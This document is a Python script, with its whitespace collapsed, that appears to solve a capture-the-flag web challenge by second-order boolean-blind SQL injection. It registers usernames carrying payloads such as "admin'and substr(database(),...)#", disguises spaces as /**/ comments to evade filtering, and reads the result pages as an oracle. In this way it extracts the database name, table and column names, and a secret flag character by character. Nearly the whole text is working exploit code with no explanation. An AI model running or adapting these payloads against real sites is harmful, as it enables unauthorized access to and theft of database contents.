defregister(username): data = {"username":username,"password":"123"} r = s.post(url+'register.php',data) #print(r.text) deflogin(username): data = {"username":username,"password":"123"} res = requests.post(url+'login.php',data,allow_redirects=False) cookie = res.headers['Set-Cookie'].split('=')[1] return cookie
defhome(token): cookies = {"TOKEN":token} r = s.get(url+'home.php',cookies=cookies) res = r.text.split('<div class="seached-text">')[1].split('</div>')[0] res = res.replace('<br>','\n') #print(res) return res
defrequest(username): register(username) token = login(username) token = token_fix(token) res = home(token) return res
defdatabase_length(): for i inrange(10): username = "admin'and length(database()) = {}#".format(i) username = username.replace(' ','/**/') res = request(username) if'No user found'notin res: print('database_length: ',i) return i return0
defdatabase_name(length): name = '' for idx inrange(1,length+1): for char in str1: payload = "admin'and substr(database(),{},1) = '{}'#".format(idx,char) payload = payload.replace(' ','/**/') res = request(payload) if'No user found'notin res: name += char print(name) break
deftable_length(): cnt = {} for i inrange(20): flag = 1 for j inrange(20): flag = 0 payload = "admin'and length((select table_name from information_schema.tables where table_schema='dkctf' limit {},1))={}#".format(i,j) payload = payload.replace(' ','/**/') res = request(payload) #print(res) if'No user found'notin res: print('table_length: ',i,j) cnt[i]=j flag = 1 break if flag == 0: return cnt return cnt
deftable_name(cnt): tables={} for i inrange(len(cnt)): table = '' for j inrange(1,cnt[i]+1): for char in str1: payload = "admin'and substr((select table_name from information_schema.tables where table_schema='dkctf' limit {},1),{},1)='{}'#".format(i,j,char) payload = payload.replace(' ','/**/') res = request(payload) #print(res) if'No user found'notin res: table += char print(i,table) break tables[i]=table return tables defcolumn_length(): cnt = {} for i inrange(10): flag = 1 for j inrange(20): flag = 0 payload = "admin'and length((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1))={}#".format(i,j) payload = payload.replace(' ','/**/') res = request(payload) print(res) if'No user found'notin res: print('column_length: ',i,j) cnt[i]=j flag = 1 break if flag == 0: return cnt return cnt
defcolumn_name(cnt): columns={} for i inrange(len(cnt)): column = '' for j inrange(1,cnt[i]+1): for char in str1: payload = "admin'and substr((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1),{},1)='{}'#".format(i,j,char) payload = payload.replace(' ','/**/') res = request(payload) #print(res) if'No user found'notin res: column += char print(i,column) break columns[i]=column return columns
defdata(): flag = '' for i inrange(1,100): for char in str1: payload = "admin'and ord(substr((select sseeccrreett from secret),{},1))={}#".format(i,ord(char)) payload = payload.replace(' ','/**/') res = request(payload) #print(res) if'No user found'notin res: flag += char print(i,flag) break